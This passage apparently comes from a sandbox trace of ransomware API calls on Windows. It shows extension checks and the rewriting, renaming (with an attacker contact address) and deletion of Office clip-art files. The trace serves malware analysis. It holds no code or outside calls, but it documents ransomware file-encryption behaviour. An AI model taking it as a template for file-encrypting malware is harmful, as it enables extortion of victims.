lpString2=".GIF") returned 1 [0150.251] lstrlenW (lpString=".bz2") returned 4 [0150.251] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.251] lstrlenW (lpString=".7z") returned 3 [0150.251] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0150.251] lstrlenW (lpString=".dbf") returned 4 [0150.251] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0150.251] lstrlenW (lpString=".1cd") returned 4 [0150.251] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0150.252] lstrlenW (lpString=".jpg") returned 4 [0150.252] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0150.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0150.252] lstrlenW (lpString=".doc") returned 4 [0150.252] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.252] lstrlenW (lpString=".docx") returned 5 [0150.252] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.252] lstrlenW (lpString=".pdf") returned 4 [0150.252] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.252] lstrlenW (lpString=".xls") returned 4 [0150.252] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.252] lstrlenW (lpString=".xlsx") returned 5 [0150.252] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.252] lstrlenW (lpString=".ppt") returned 4 [0150.252] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0150.252] lstrlenW (lpString=".zip") returned 4 [0150.252] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.252] lstrlenW (lpString=".rar") returned 4 [0150.252] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.252] lstrlenW (lpString=".bz2") returned 4 [0150.252] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.252] lstrlenW (lpString=".7z") returned 3 [0150.252] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0150.252] lstrlenW (lpString=".dbf") returned 4 [0150.252] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0150.253] lstrlenW (lpString=".1cd") returned 4 [0150.253] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0150.253] lstrlenW (lpString=".jpg") returned 4 [0150.253] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.253] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0150.253] lstrlenW (lpString="AG00175_.GIF") returned 12 [0150.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0150.255] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=3378) returned 1 [0150.255] CloseHandle (hObject=0x10d8) returned 1 [0150.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220 [0150.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0150.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0150.255] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.255] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0150.256] GetLastError () returned 0x0 [0150.256] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xd32, lpOverlapped=0x0) returned 1 [0150.275] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xd40, lpOverlapped=0x0) returned 1 [0150.277] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.277] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.277] SetEndOfFile (hFile=0x10a8) returned 1 [0150.277] CloseHandle (hObject=0x10a8) returned 1 [0150.281] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.281] SetEndOfFile (hFile=0x10d8) returned 1 [0150.282] CloseHandle (hObject=0x10d8) returned 1 [0150.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0150.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0150.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0150.283] lstrlenW (lpString=".doc") returned 4 [0150.283] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.283] lstrlenW (lpString=".docx") returned 5 [0150.283] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.283] lstrlenW (lpString=".pdf") returned 4 [0150.283] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.283] lstrlenW (lpString=".xls") returned 4 [0150.283] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.284] lstrlenW (lpString=".xlsx") returned 5 [0150.284] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.284] lstrlenW (lpString=".ppt") returned 4 [0150.284] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0150.284] lstrlenW (lpString=".zip") returned 4 [0150.284] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.284] lstrlenW (lpString=".rar") returned 4 [0150.284] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.284] lstrlenW (lpString=".bz2") returned 4 [0150.284] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.284] lstrlenW (lpString=".7z") returned 3 [0150.284] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0150.284] lstrlenW (lpString=".dbf") returned 4 [0150.284] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0150.284] lstrlenW (lpString=".1cd") returned 4 [0150.284] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0150.284] lstrlenW (lpString=".jpg") returned 4 [0150.284] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0150.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0150.284] lstrlenW (lpString=".doc") returned 4 [0150.285] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.285] lstrlenW (lpString=".docx") returned 5 [0150.285] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.285] lstrlenW (lpString=".pdf") returned 4 [0150.285] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.285] lstrlenW (lpString=".xls") returned 4 [0150.285] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.285] lstrlenW (lpString=".xlsx") returned 5 [0150.285] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.285] lstrlenW (lpString=".ppt") returned 4 [0150.285] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0150.285] lstrlenW (lpString=".zip") returned 4 [0150.285] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.285] lstrlenW (lpString=".rar") returned 4 [0150.285] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.285] lstrlenW (lpString=".bz2") returned 4 [0150.285] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.285] lstrlenW (lpString=".7z") returned 3 [0150.285] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0150.285] lstrlenW (lpString=".dbf") returned 4 [0150.285] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0150.285] lstrlenW (lpString=".1cd") returned 4 [0150.285] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0150.285] lstrlenW (lpString=".jpg") returned 4 [0150.286] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.286] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0150.286] lstrlenW (lpString="AN00010_.WMF") returned 12 [0150.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0150.286] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=3026) returned 1 [0150.286] CloseHandle (hObject=0x10d8) returned 1 [0150.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220 [0150.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0150.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0150.287] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.287] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0150.287] GetLastError () returned 0x0 [0150.287] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xbd2, lpOverlapped=0x0) returned 1 [0150.833] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xbe0, lpOverlapped=0x0) returned 1 [0150.834] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.834] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.834] SetEndOfFile (hFile=0x10a8) returned 1 [0151.303] CloseHandle (hObject=0x10a8) returned 1 [0151.309] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.310] SetEndOfFile (hFile=0x10d8) returned 1 [0151.311] CloseHandle (hObject=0x10d8) returned 1 [0151.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0151.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0151.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0151.312] lstrlenW (lpString=".doc") returned 4 [0151.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.312] lstrlenW (lpString=".docx") returned 5 [0151.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.312] lstrlenW (lpString=".pdf") returned 4 [0151.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.312] lstrlenW (lpString=".xls") returned 4 [0151.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.312] lstrlenW (lpString=".xlsx") returned 5 [0151.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.312] lstrlenW (lpString=".ppt") returned 4 [0151.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0151.312] lstrlenW (lpString=".zip") returned 4 [0151.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.312] lstrlenW (lpString=".rar") returned 4 [0151.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.312] lstrlenW (lpString=".bz2") returned 4 [0151.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.312] lstrlenW (lpString=".7z") returned 3 [0151.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0151.312] lstrlenW (lpString=".dbf") returned 4 [0151.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0151.313] lstrlenW (lpString=".1cd") returned 4 [0151.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0151.313] lstrlenW (lpString=".jpg") returned 4 [0151.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0151.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0151.313] lstrlenW (lpString=".doc") returned 4 [0151.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.313] lstrlenW (lpString=".docx") returned 5 [0151.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.313] lstrlenW (lpString=".pdf") returned 4 [0151.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.313] lstrlenW (lpString=".xls") returned 4 [0151.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.313] lstrlenW (lpString=".xlsx") returned 5 [0151.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.313] lstrlenW (lpString=".ppt") returned 4 [0151.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0151.313] lstrlenW (lpString=".zip") returned 4 [0151.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.313] lstrlenW (lpString=".rar") returned 4 [0151.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.314] lstrlenW (lpString=".bz2") returned 4 [0151.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.314] lstrlenW (lpString=".7z") returned 3 [0151.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0151.314] lstrlenW (lpString=".dbf") returned 4 [0151.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0151.314] lstrlenW (lpString=".1cd") returned 4 [0151.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0151.314] lstrlenW (lpString=".jpg") returned 4 [0151.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.314] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0151.314] lstrlenW (lpString="AN01060_.WMF") returned 12 [0151.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0151.315] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=7968) returned 1 [0151.315] CloseHandle (hObject=0x10d8) returned 1 [0151.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220 [0151.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0151.316] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.316] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0151.316] GetLastError () returned 0x0 [0151.316] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x1f20, lpOverlapped=0x0) returned 1 [0151.335] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x1f30, lpOverlapped=0x0) returned 1 [0151.336] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.336] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.337] SetEndOfFile (hFile=0x10a8) returned 1 [0151.337] CloseHandle (hObject=0x10a8) returned 1 [0151.338] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.338] SetEndOfFile (hFile=0x10d8) returned 1 [0151.338] CloseHandle (hObject=0x10d8) returned 1 [0151.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0151.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0151.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0151.339] lstrlenW (lpString=".doc") returned 4 [0151.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.339] lstrlenW (lpString=".docx") returned 5 [0151.339] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.339] lstrlenW (lpString=".pdf") returned 4 [0151.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.339] lstrlenW (lpString=".xls") returned 4 [0151.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.339] lstrlenW (lpString=".xlsx") returned 5 [0151.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.339] lstrlenW (lpString=".ppt") returned 4 [0151.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0151.340] lstrlenW (lpString=".zip") returned 4 [0151.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.340] lstrlenW (lpString=".rar") returned 4 [0151.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.340] lstrlenW (lpString=".bz2") returned 4 [0151.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.340] lstrlenW (lpString=".7z") returned 3 [0151.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.340] 